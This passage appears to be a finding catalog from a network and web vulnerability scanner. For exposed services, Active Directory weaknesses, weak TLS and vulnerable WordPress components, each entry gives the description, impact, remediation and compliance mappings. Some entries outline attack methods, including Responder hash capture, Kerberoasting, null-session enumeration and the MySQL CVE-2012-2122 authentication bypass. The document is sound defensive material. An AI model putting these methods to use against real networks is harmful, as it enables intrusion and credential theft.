Impact: Attackers can view dashboards containing sensitive metrics, enumerate data source configurations (which may include database credentials), and access alerting rules. Anonymous API access can also be leveraged to discover internal infrastructure.
Remediation: Disable anonymous access in grafana.ini by setting [auth.anonymous] enabled = false. Implement authentication for all API endpoints.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1530 (Collection)
NIST 800-53: AC-3
PCI DSS 4: 7.1.1
CISA KEV
HIGH SS-076 — Unauthenticated Kibana Access
Description: Kibana exposes its /api/status endpoint without authentication, revealing version information and system status. Full unauthenticated access may also allow reading Elasticsearch indices.
Impact: Attackers can read Elasticsearch indices containing logs, metrics, and potentially sensitive data. Version disclosure enables targeted vulnerability exploitation. Kibana Dev Tools can be used to execute arbitrary Elasticsearch queries.
Remediation: Enable X-Pack security or Elastic Stack security features. Configure authentication for all Kibana endpoints. Use a reverse proxy with authentication as an additional layer.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3
PCI DSS 4: 7.1.1
CISA KEV
HIGH SS-077 — Cassandra Unauthenticated CQL Access
Description: Cassandra CQL accepted a STARTUP frame and returned READY without requesting authentication, indicating the PasswordAuthenticator is not enabled.
Impact: Unauthenticated read/write access to all keyspaces and tables. An attacker can exfiltrate data, modify records, create or drop keyspaces, and potentially affect cluster stability.
Remediation: Enable PasswordAuthenticator in cassandra.yaml. Create administrative users with strong passwords and configure role-based access control.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, AC-3
PCI DSS 4: 8.3.1
HIGH SS-078 — Git Repository Exposed via Web
Description: The web server exposes a .git directory. The /.git/HEAD file returns a valid Git ref, indicating the full repository is accessible.
Impact: An attacker can reconstruct the complete source code repository including all commit history, which may contain hardcoded credentials, API keys, database connection strings, internal comments revealing business logic, and configuration for other internal systems.
Remediation: Block access to .git directories in the web server configuration (e.g., Apache: <DirectoryMatch "\.git"> Deny from all </DirectoryMatch>). Deploy without the .git directory or use .gitignore and deployment pipelines.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1213 (Collection)
NIST 800-53: SC-28, CM-7
PCI DSS 4: 6.4.1
HIGH SS-084 — PHP Info Page Exposed
Description: A phpinfo() page is accessible, exposing the complete PHP configuration including loaded modules, file paths, environment variables, and server details.
Impact: phpinfo() reveals the full server configuration, PHP version, loaded extensions, environment variables (which may contain database passwords and API keys), file paths, and operating system details. This enables targeted exploitation of known PHP and module vulnerabilities.
Remediation: Remove phpinfo files from production servers. Disable the phpinfo() function via php.ini: disable_functions = phpinfo.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: SC-28, CM-7
PCI DSS 4: 2.2.2
HIGH SS-091 — MongoDB Unauthenticated Access
Description: MongoDB accepted an isMaster query via the native OP_QUERY protocol without requiring authentication, indicating authorization is not enabled.
Impact: Full read/write access to all databases, allowing data exfiltration, modification, deletion, and user creation. MongoDB instances without auth have been widely targeted by ransomware campaigns that delete databases and demand payment.
Remediation: Enable authorization in mongod.conf (security.authorization: enabled). Create administrative users with strong passwords. Bind MongoDB to localhost or trusted interfaces only.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, AC-3
PCI DSS 4: 8.3.1
HIGH SS3-006 — SSLv3 Enabled
Description: The server accepts SSLv3 connections. SSLv3 is vulnerable to the POODLE attack (CVE-2014-3566), which allows decryption of CBC-encrypted TLS sessions.
Remediation: Disable SSLv3. Enable only TLS 1.2 and TLS 1.3.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
HIGH SS3-007 — Weak Cipher Suite Enabled
Description: The server supports cipher suites providing 64-bit or less symmetric encryption, export-grade key exchange, or null/anonymous authentication (RC4, DES, 3DES, EXPORT, aNULL, eNULL).
Remediation: Disable all weak cipher suites. Allow only AEAD ciphers (AES-GCM, ChaCha20-Poly1305) with 128-bit or greater key length.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1
HIGH SS3-009 — Expired TLS Certificate
Description: The server's TLS certificate has passed its expiry date. Expired certificates are rejected by modern clients with a hard error, and indicate poor certificate lifecycle management.
Remediation: Renew the certificate immediately. Implement automated certificate renewal (Let's Encrypt / ACME protocol).
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: OWASP-A02:2021
HIGH SS3-011 — SMB Signing Disabled
Description: SMB packet signing is not required on this host. Without signing, relay attacks (NTLM relay) allow an attacker to authenticate as any user whose credentials can be intercepted.
Remediation: Enable and require SMB signing via Group Policy: 'Microsoft network server: Digitally sign communications (always)'. Enable on all domain controllers and clients.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1557.001 (Collection)
NIST 800-53: SC-8, IA-3
PCI DSS 4: 4.2.1
HIGH SS3-014 — LLMNR/NBT-NS Response Captured (Responder)
Description: Responder captured an LLMNR or NBT-NS broadcast and responded with a poisoned answer. The victim host sent an NTLM authentication attempt to the attacker.
Remediation: Disable LLMNR and NBT-NS via Group Policy. Enable SMB signing. Deploy 802.1X port authentication. Monitor for LLMNR/NBT-NS traffic.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1557.001 (Collection)
NIST 800-53: IA-3, SC-8, CM-7
PCI DSS 4: 1.3.2, 2.2.4
HIGH SS3-016 — NTLMv2 Hash Captured
Description: An NTLMv2 authentication hash was captured via Responder poisoning. NTLMv2 hashes are crackable offline with GPU-accelerated password cracking tools.
Remediation: Disable LLMNR and NBT-NS. Enforce SMB signing. Use Kerberos authentication in AD environments. Deploy a strong password policy.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: OWASP-A07:2021
HIGH SS3-019 — FTP Anonymous Login Enabled
Description: The FTP server permits anonymous login. Any user can authenticate without credentials and browse accessible files.
Remediation: Disable anonymous FTP access. If FTP is required, enforce authenticated access. Prefer SFTP or FTPS over plaintext FTP.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
HIGH SS3-020 — Nuclei: Known CVE Vulnerability Detected
Description: Nuclei's CVE template library identified a known CVE in a service banner, web application, or network protocol response. The specific CVE and affected component are recorded in the finding evidence.
Remediation: Apply the vendor-supplied patch for the identified CVE. If no patch is available, implement compensating controls (WAF rule, network segmentation, disable the vulnerable feature).
CVSS Vector: N/A
OWASP Web: OWASP-A06:2021
HIGH SS3-021 — Nuclei: Exposed Admin Panel
Description: Nuclei detected an administrative interface (web admin panel, management console, or device configuration portal) exposed without IP restriction.
Remediation: Restrict admin panel access to authorised management networks only. Implement MFA. Place behind VPN where possible.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A05:2021
HIGH SS3-028 — Cross-Site Scripting (XSS) Vulnerability
Description: XSStrike or ZAP detected a reflected or stored XSS vulnerability. An attacker can inject scripts into pages viewed by other users, leading to session hijacking or credential theft.
Remediation: Apply context-aware output encoding for all user-controlled data. Implement a strict Content-Security-Policy. Validate and sanitise all inputs server-side.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: OWASP-A03:2021
HIGH SS3-029 — SNMP Community String Exposed
Description: The device accepts the default SNMP community string ('public' for read or 'private' for read/write). SNMP data exposes network topology, interface statistics, routing tables, and device configurations.
Remediation: Change SNMP community strings from defaults. Restrict SNMP access by source IP ACL. Migrate to SNMPv3 with authentication and encryption. Disable SNMP if not needed.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A05:2021
HIGH SS3-030 — LDAP Anonymous Bind Permitted
Description: The LDAP server permits anonymous bind. Unauthenticated clients can query directory objects including user accounts, groups, and potentially password hashes.
Remediation: Disable anonymous LDAP bind in the directory service configuration. Require authenticated binds. Restrict LDAP query access to authorised service accounts.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1087.002 (Discovery)
NIST 800-53: AC-3, IA-2, CM-7
PCI DSS 4: 7.2.1, 8.2.1
HIGH SS3-032 — Kerberoastable Service Account Identified
Description: Kerbrute or ldapdomaindump identified a service account with a ServicePrincipalName (SPN). Kerberos TGS tickets for SPNs can be requested without privilege and cracked offline.
Remediation: Use Group Managed Service Accounts (gMSA) with 120+ character auto-rotated passwords. Audit and remove unnecessary SPNs. Monitor for TGS ticket requests.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1558.003 (Credential Access)
NIST 800-53: IA-5, AC-6, AU-12
PCI DSS 4: 8.3.1, 8.4.2
HIGH SS3-033 — AS-REP Roastable Account Identified
Description: A user account has Kerberos pre-authentication disabled. An AS-REP response can be requested and cracked offline without any credentials.
Remediation: Enable Kerberos pre-authentication on all user accounts. Do not disable pre-authentication without explicit justification. Enforce strong passwords on any accounts that require it disabled.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1558.004 (Credential Access)
NIST 800-53: IA-5, AC-6
PCI DSS 4: 8.3.1
HIGH SS3-035 — NFS Export Accessible Without Authentication
Description: An NFS export is accessible without authentication or with world-readable permissions. Sensitive files on the export may be readable or writable by any network host.
Remediation: Restrict NFS exports to specific client IPs in /etc/exports. Use root_squash and nosuid options. Disable NFS if not required.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
HIGH SS3-036 — RDP Exposed to Network
Description: Remote Desktop Protocol (port 3389) is accessible from the network. RDP has a history of critical vulnerabilities and exposes the authentication surface to brute-force attacks.
Remediation: Restrict RDP to management VLANs. Require MFA for all RDP sessions. Patch against BlueKeep and DejaBlue. Use NLA (Network Level Authentication). Deploy RDP gateway.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A05:2021
HIGH SS3-037 — Telnet Service Exposed
Description: Telnet (port 23) is exposed on the network. Telnet transmits all data including credentials in cleartext. Any network observer can capture usernames and passwords.
Remediation: Disable Telnet. Replace with SSH. If Telnet is required on embedded hardware, isolate on a dedicated management network.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
HIGH SS3-038 — FTP Cleartext Credentials
Description: FTP (port 21) transmits credentials in cleartext. Credentials captured during banner grab or brute-force are fully readable by any network observer.
Remediation: Replace FTP with SFTP (SSH File Transfer Protocol) or FTPS (FTP over TLS). Disable FTP where possible.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
HIGH SS3-040 — WordPress Vulnerability Detected (WPScan)
Description: WPScan identified a known vulnerability in the WordPress core, a plugin, or a theme. WordPress vulnerabilities frequently lead to RCE, data exfiltration, or credential theft.
Remediation: Update WordPress core, all plugins, and themes to the latest version. Remove unused plugins and themes. Harden WordPress per the WordPress Security Codex.
Effort: Medium
CVSS Vector: N/A
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, CM-7, RA-5
PCI DSS 4: 6.3.3, 6.3.2
HIGH SS3-045 — Sploitus: Public Exploit Available for Detected Version
Description: Sploitus API returned a public exploit matching the service version detected during port scanning. The vulnerability is actively exploitable with publicly available tooling.
Remediation: Patch the affected service to the latest version. Implement network-level compensating controls until patching is complete. Prioritise remediation based on exploitability.
Effort: Low
CVSS Vector: N/A
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access), T1203 (Execution)
NIST 800-53: SI-2, RA-5, RA-3
PCI DSS 4: 6.3.3
HIGH SS3-046 — Metasploit Module Available for Detected Vulnerability
Description: The Metasploit Framework contains one or more scanner or exploit modules matching a CVE identified during scanning. The presence of a Metasploit module significantly lowers the barrier to exploitation; unskilled attackers can use these modules without deep vulnerability knowledge. Scanner modules (auxiliary/scanner/*) provide non-destructive validation of exploitability. Exploit modules are listed for consultant reference only and are never automatically executed by Scattershot3.
Remediation: Patch the affected software to eliminate the underlying vulnerability. Review the Metasploit module documentation for exploitation conditions and implement compensating controls (network segmentation, WAF rules, IDS/IPS signatures) until patching is complete. Use the scanner module for non-destructive confirmation of exploitability.
Effort: Low
CVSS Vector: N/A
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access), T1203 (Execution)
NIST 800-53: SI-2, RA-5, RA-3
PCI DSS 4: 6.3.3
HIGH SS3-051 — SSH Vulnerability: SSHv1 Protocol Supported
Description: The SSH server on this host advertises support for the SSHv1 protocol. SSHv1 is cryptographically broken and contains fundamental design flaws including the ability to insert arbitrary data into SSH sessions and an information disclosure vulnerability in RSA key exchange. SSHv1 has been deprecated since 2006 and its use undermines the integrity and confidentiality guarantees of the SSH channel.
Remediation: Disable SSHv1 in the sshd configuration: set 'Protocol 2' in /etc/ssh/sshd_config. Restart the SSH service. Verify with: ssh -1 <host> to confirm SSHv1 is rejected.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, CM-7, CM-6
PCI DSS 4: 4.2.1, 2.2.4
HIGH SS3-054 — MS12-020 RDP Vulnerability Detected
Description: The Remote Desktop Protocol (RDP) service on this host appears vulnerable to MS12-020, which includes CVE-2012-0152 (denial of service via specially crafted RDP packet sequence) and CVE-2012-0002 (pre-authentication remote code execution via malformed RDP packet). CVE-2012-0002 is a pre-authentication memory corruption vulnerability affecting the Remote Desktop Protocol in Windows XP through Server 2008 R2. Exploitation can cause a crash (BSOD) or potentially allow arbitrary code execution.
Remediation: Apply Microsoft security bulletin MS12-020. Enable Network Level Authentication (NLA) as a compensating control. Restrict RDP access to authorised management networks. Block port 3389 at the perimeter firewall.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1021.001 (Lateral Movement)
NIST 800-53: IA-2, CM-7, AC-17
PCI DSS 4: 8.2.1, 2.2.4
HIGH SS3-055 — RDP Weak or No Encryption Configured
Description: The RDP service is configured with a low or incompatible security layer, or does not enforce strong encryption. Configurations using 'RDP Security Layer' (as opposed to 'TLS' or 'Negotiate with TLS') use RC4 encryption that is cryptographically weak and susceptible to session interception. This allows a network-positioned attacker to decrypt RDP session traffic and recover credentials or session data.
Remediation: Configure RDP to require TLS: set 'Security Layer' to 'SSL (TLS 1.0)' or higher in Group Policy (Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options). Enforce NLA. Apply a valid certificate to the RDP service.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1021.001 (Lateral Movement)
NIST 800-53: IA-2, CM-7, AC-17
PCI DSS 4: 8.2.1, 2.2.4
HIGH SS3-056 — RDP Without NLA (Network Level Authentication) — BlueKeep Exposure
Description: Network Level Authentication (NLA) is not enforced on the RDP service. Without NLA, unauthenticated network sessions are established before user credentials are validated, exposing the pre-authentication attack surface to vulnerabilities such as BlueKeep (CVE-2019-0708) and DejaBlue (CVE-2019-1182). NLA moves authentication to the network transport layer, requiring credentials before a full RDP session is established.
Remediation: Enable NLA via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host > Security > Require user authentication for remote connections by using NLA. Set to Enabled.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1021.001 (Lateral Movement)
NIST 800-53: IA-2, CM-7, AC-17
PCI DSS 4: 8.2.1, 2.2.4
HIGH SS3-057 — NFS Export Points Enumerated — Potentially Unauthenticated Access
Description: The NFS server responded to a showmount query and disclosed its export list. One or more exports are configured with overly permissive client specifications (e.g., wildcard '*', broad CIDR ranges, or no_root_squash), potentially allowing unauthenticated or minimally privileged network hosts to mount and access file system contents. Exposed NFS exports frequently contain sensitive data including SSH keys, configuration files, and application data.
Remediation: Audit /etc/exports and restrict each export to specific IP addresses or minimal CIDR ranges. Apply root_squash to all exports. Remove exports that are not required. Restrict showmount queries by blocking RPC portmapper (port 111) and NFS (port 2049) at the network boundary.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1083 (Discovery), T1005 (Collection)
NIST 800-53: AC-3, AC-6, CM-7
PCI DSS 4: 1.3.1, 7.2.1
HIGH SS3-059 — SMTP Open Mail Relay Detected
Description: The SMTP server on this host will relay email for external domains, acting as an open mail relay. Open relays can be abused by spammers and phishing actors to send bulk email that appears to originate from the target organisation's IP space, damaging the organisation's email reputation, causing blacklisting, and potentially facilitating phishing campaigns. Open relays are identified by sending a test message from an external address to an external recipient via the server.
Remediation: Configure the SMTP server to reject relay for domains it is not authoritative for. On Postfix: set mynetworks to trusted IP ranges only, configure smtpd_recipient_restrictions to reject_unauth_destination. On Sendmail: configure access DB to deny relaying. Implement SPF, DKIM, and DMARC.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1078 (Defense Evasion), T1566 (Initial Access)
NIST 800-53: CM-7, SC-5, SI-8
PCI DSS 4: 1.3.1, 5.4.1
HIGH SS3-066 — MySQL CVE-2012-2122 Authentication Bypass Risk
Description: The MySQL version detected on this host is potentially vulnerable to CVE-2012-2122, a memory comparison timing flaw in the authentication protocol. Due to a memcmp() optimisation in certain Linux builds and MySQL versions (5.1.x before 5.1.63, 5.5.x before 5.5.24, 5.6.x before 5.6.6), an attacker who sends the correct password approximately once in every 256 login attempts will bypass authentication. With repeated automated attempts, this allows authentication bypass for any known username including root.
Remediation: Upgrade MySQL to a patched version (5.1.63+, 5.5.24+, 5.6.6+). Apply the vendor security patch. As a compensating control, restrict MySQL access by IP using GRANT statements and firewall rules.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, SI-2
PCI DSS 4: 6.3.3, 8.2.1
HIGH SS3-068 — RPC Null Session Permitted
Description: The Windows RPC endpoint mapper accepts unauthenticated null session connections. A null session permits unauthenticated enumeration of shares, users, groups, and registry information via MS-RPC interfaces. This is frequently combined with SMB null session enumeration and forms a key component of unauthenticated Windows host reconnaissance, providing the attacker with Active Directory user account lists, group memberships, and domain SID information.
Remediation: Restrict anonymous RPC access via Group Policy: Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options: 'Network access: Restrict anonymous access to Named Pipes and Shares' = Enabled. Set 'Network access: Do not allow anonymous enumeration of SAM accounts' = Enabled.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1135 (Discovery), T1078 (Defense Evasion)
NIST 800-53: AC-3, CM-7, IA-2
PCI DSS 4: 7.2.1, 2.2.4
HIGH SS3-069 — SMB Null Session Permitted
Description: The SMB server permits null session connections — unauthenticated connections using an empty username and password. Via a null session, an attacker can enumerate share names, user accounts, group memberships, local policies, and domain SID information using tools such as enum4linux, rpcclient, or CrackMapExec. This information provides the reconnaissance foundation for subsequent targeted attacks including password spraying, credential brute-force, and Kerberoasting.
Remediation: Enable the following Group Policy settings: 'Network access: Do not allow anonymous enumeration of SAM accounts' = Enabled; 'Network access: Do not allow anonymous enumeration of SAM accounts and shares' = Enabled; 'Network access: Restrict anonymous access to Named Pipes and Shares' = Enabled.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1135 (Discovery), T1078 (Defense Evasion)
NIST 800-53: AC-3, CM-7, IA-2
PCI DSS 4: 7.2.1, 2.2.4
HIGH SS3-071 — SMB Share Identified with WRITE Permissions
Description: An SMB share has been confirmed to be writable with the credentials used during the scan. Write access to a network share enables an attacker to plant malicious files, overwrite configuration data, introduce DLL hijacking payloads, or stage persistence mechanisms. If the share contains executable content served to other hosts, write access may lead to lateral movement or supply chain compromise within the organisation.
Remediation: Audit all SMB share permissions and apply least-privilege access controls. Remove write access from any accounts that do not require it for business purposes. Implement monitoring and alerting on new file creation events in sensitive shares. Enable SMB signing to prevent NTLM relay to share authentication.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: OWASP-A01:2021
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1069.002 (Discovery), T1021.002 (Lateral Movement)
NIST 800-53: AC-6, AC-2, IA-5
PCI DSS 4: 7.2.1, 8.4.2
HIGH SS3-072 — SMB Share-Level Authentication (No User-Level Auth)
Description: The SMB server is configured to use share-level authentication rather than user-level authentication. Under share-level authentication, access is controlled by a per-share password rather than user identity. This model lacks auditability (no per-user access logging), prevents granular access control, and is incompatible with modern SMB security features including SMB signing and SMBv2/3 message integrity. Share-level authentication is a legacy mechanism associated with Windows 9x/ME workgroups.
Remediation: Migrate to user-level SMB authentication. Configure the Windows workstation or server to use user-level access control: Computer > Properties > Sharing settings. Join the host to a domain and manage share access via domain user accounts and groups.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1135 (Discovery), T1078 (Defense Evasion)
NIST 800-53: AC-3, CM-7, IA-2
PCI DSS 4: 7.2.1, 2.2.4
HIGH SS3-073 — BloodHound AD Graph Data Collected
Description: BloodHound-Python successfully collected Active Directory object data including users, groups, computers, GPOs, OUs, and ACLs and produced graph database ingest files. This data enables graph-based analysis of Active Directory attack paths, privilege escalation routes, and delegation abuses. The collection itself demonstrates that the network is reachable from the attacker's position with sufficient credential access to query LDAP at the level required for BloodHound enumeration.
Remediation: Review the collected BloodHound data to identify and remediate high-risk attack paths (paths to Domain Admin, DCSync rights, unconstrained delegation). Implement tiered administration to limit exposure. Monitor LDAP query volume for anomalous bulk enumeration indicative of BloodHound collection.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1482 (Discovery), T1087.002 (Discovery), T1069.002 (Discovery)
NIST 800-53: AC-6, AC-2, AU-12
PCI DSS 4: 7.2.1, 8.4.2
HIGH SS3-074 — LDAP Domain Users Enumerated
Description: LDAP enumeration successfully retrieved a list of domain user accounts from Active Directory. The enumerated data may include usernames, display names, email addresses, account status, last logon timestamps, and group memberships. This user list provides an attacker with a validated target list for password spraying, credential stuffing, phishing, and Kerberoasting attacks. Successful LDAP enumeration often requires only a low-privileged domain account.
Remediation: Implement LDAP query monitoring and alerting for bulk user enumeration. Apply Protected Users security group membership to privileged accounts. Enforce Kerberos-only authentication for sensitive accounts. Implement fine-grained password policies. Monitor for anomalous LDAP query patterns in Windows event logs (Event ID 4661).
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1087.002 (Discovery)
NIST 800-53: AC-3, IA-2, CM-7
PCI DSS 4: 7.2.1, 8.2.1
HIGH SS3-076 — Domain Accounts with Password Not Required
Description: One or more Active Directory user accounts have the PASSWD_NOTREQD (UF_PASSWD_NOTREQD, userAccountControl bit 0x0020) flag set, meaning the account may have an empty or blank password. Accounts with this flag are not subject to the domain password policy minimum length requirement and can be authenticated with an empty password. These accounts represent a trivially exploitable authentication bypass if empty passwords are present.
Remediation: Identify all accounts with the PASSWD_NOTREQD flag set: Get-ADUser -Filter {PasswordNotRequired -eq $True}. Set a strong password on each account and remove the flag: Set-ADUser -Identity <user> -PasswordNotRequired $false. Audit and enforce the domain password policy.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1078.002 (Defense Evasion)
NIST 800-53: IA-5, AC-2
PCI DSS 4: 8.3.1, 8.3.6
HIGH SS3-077 — Privileged Domain Accounts Identified
Description: LDAP enumeration identified user accounts with membership in highly privileged Active Directory groups such as Domain Admins, Enterprise Admins, Schema Admins, Backup Operators, or Account Operators. These accounts represent high-value targets for credential theft, Kerberoasting, and AS-REP roasting. Compromise of any of these accounts typically results in complete domain compromise. The identification of these accounts guides further attack path analysis.
Remediation: Apply the principle of least privilege: ensure privileged accounts are used only for administrative tasks. Enforce tiered administration (Tier 0/1/2 model). Add privileged accounts to the Protected Users security group. Enforce MFA for all administrative accounts. Restrict privileged account logon rights via GPO.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1069.002 (Discovery), T1021.002 (Lateral Movement)
NIST 800-53: AC-6, AC-2, IA-5
PCI DSS 4: 7.2.1, 8.4.2
HIGH SS3-078 — WordPress Core Vulnerability
Description: WPScan identified a known vulnerability in the WordPress core installation. WordPress core vulnerabilities range from authenticated RCE and privilege escalation to unauthenticated information disclosure and SSRF. The specific CVE, affected version, and exploitation details are recorded in the finding evidence. WordPress core vulnerabilities are frequently weaponised within hours of disclosure due to the large attack surface and widespread deployment.
Remediation: Update WordPress core to the latest stable version via the WordPress admin dashboard (Dashboard > Updates) or WP-CLI (wp core update). Enable automatic core updates for minor versions. Review all active plugins and themes for compatibility before updating.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, CM-7, RA-5
PCI DSS 4: 6.3.3, 6.3.2
HIGH SS3-079 — WordPress Plugin Vulnerability
Description: WPScan identified a known security vulnerability in an installed WordPress plugin. Plugin vulnerabilities are the most common attack vector for WordPress sites, frequently including unauthenticated SQL injection, file upload bypass, XSS, CSRF, and remote code execution. The specific plugin name, version, CVE, and exploitation conditions are recorded in the finding evidence. Vulnerable plugins may be actively exploited using publicly available proof-of-concept code.
Remediation: Update the vulnerable plugin to the latest patched version via the WordPress admin panel (Plugins > Available Updates). If no patched version is available, deactivate and delete the plugin immediately. Consider a web application firewall (WAF) virtual patching rule as a temporary compensating control.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, CM-7, RA-5
PCI DSS 4: 6.3.3, 6.3.2
HIGH SS3-080 — WordPress Theme Vulnerability
Description: WPScan identified a known security vulnerability in an active or inactive WordPress theme. Vulnerable themes can expose the site to file inclusion vulnerabilities, path traversal, XSS, and in some cases remote code execution. Inactive themes are often overlooked during patching cycles and remain exploitable as long as they are installed. The specific theme name, version, CVE, and exploitation details are recorded in the finding evidence.
Remediation: Update the vulnerable theme to the latest patched version or delete it if it is not in use. Review installed themes: Appearance > Themes. Inactive themes should be removed unless required. Prefer themes from the WordPress.org theme directory which are subject to security review.
Effort: Medium
